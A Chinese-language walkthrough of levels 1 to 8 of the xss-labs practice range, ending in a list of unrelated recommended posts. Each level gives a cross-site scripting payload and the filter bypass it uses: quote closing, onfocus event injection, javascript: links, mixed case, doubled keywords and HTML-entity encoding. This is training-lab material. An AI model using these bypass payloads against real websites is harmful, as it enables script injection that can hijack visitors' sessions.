xss-labs靶场1-8

level1

php 复制代码
<script>alert()</script>

level2

闭合绕过

php 复制代码
">  <script>alert()</script>  <"

level3+level4

onfocus事件绕过

php 复制代码
' onfocus=javascript:alert() '


然后再点击输入框触发onfocus事件

level5

有小写字母转化函数,用a href标签法, 前提是闭合号<"">没失效

php 复制代码
"> <a href=javascript:alert()>xxx</a> <"

level6

关键字测试

大小写测试

用大小写法绕过str_replace()函数

php 复制代码
"> <sCript>alert()</sCript> <"

level7

关键字测试

用双拼写绕过

php 复制代码
"> <a hrehreff=javasscriptcript:alert()>x</a> <"

level8

关键字测试

input标签添加了html实体转化函数还把双引号也给实体化了, 添加了小写转化函数,过滤掉了src、data、onfocus、href、script、双引号

利用href的隐藏属性自动Unicode解码,插入一段js伪协议

php 复制代码
javascript:alert()

在线Unicode编码解码

php 复制代码
&#106;&#97;&#118;&#97;&#115;&#99;&#114;&#105;&#112;&#116;&#58;&#97;&#108;&#101;&#114;&#116;&#40;&#41;
相关推荐
Cosolar几秒前
Java 后端访问 https接口报 SSLHandshakeException 你遇到过吗
java·后端·面试
字节架构前端几秒前
媒体采集标准草案 与 Chromium 音频采集实现简介
前端·chrome·音视频开发
组合缺一1 分钟前
带来 AI Agent 开发,OpenSolon v3.8.3 发布
java·人工智能·ai·langchain·llm·solon
ghostmen1 分钟前
SpringBoot + Vue 实现 Python 在线调试器 - 技术方案文档
java·python·vue·springboot
奋斗的小青年!!2 分钟前
Flutter在OpenHarmony上实现渐变文字动画的深度优化实践
前端·flutter·harmonyos·鸿蒙
阿蒙Amon4 分钟前
C#每日面试题-简述匿名方法
java·面试·c#
梦6505 分钟前
Vue3 计算属性 (computed) 与监听属性 (watch)
前端·javascript·vue.js
山峰哥8 分钟前
JOIN - 多表关联的魔法——3000字实战指南
java·大数据·开发语言·数据库·sql·编辑器
jghhh018 分钟前
C#中实现不同进程(EXE)间通信的方案
java·单例模式·c#
Mr.朱鹏10 分钟前
Spring Boot 配置文件加载顺序与优先级详解
java·spring boot·后端·spring·maven·配置文件·yml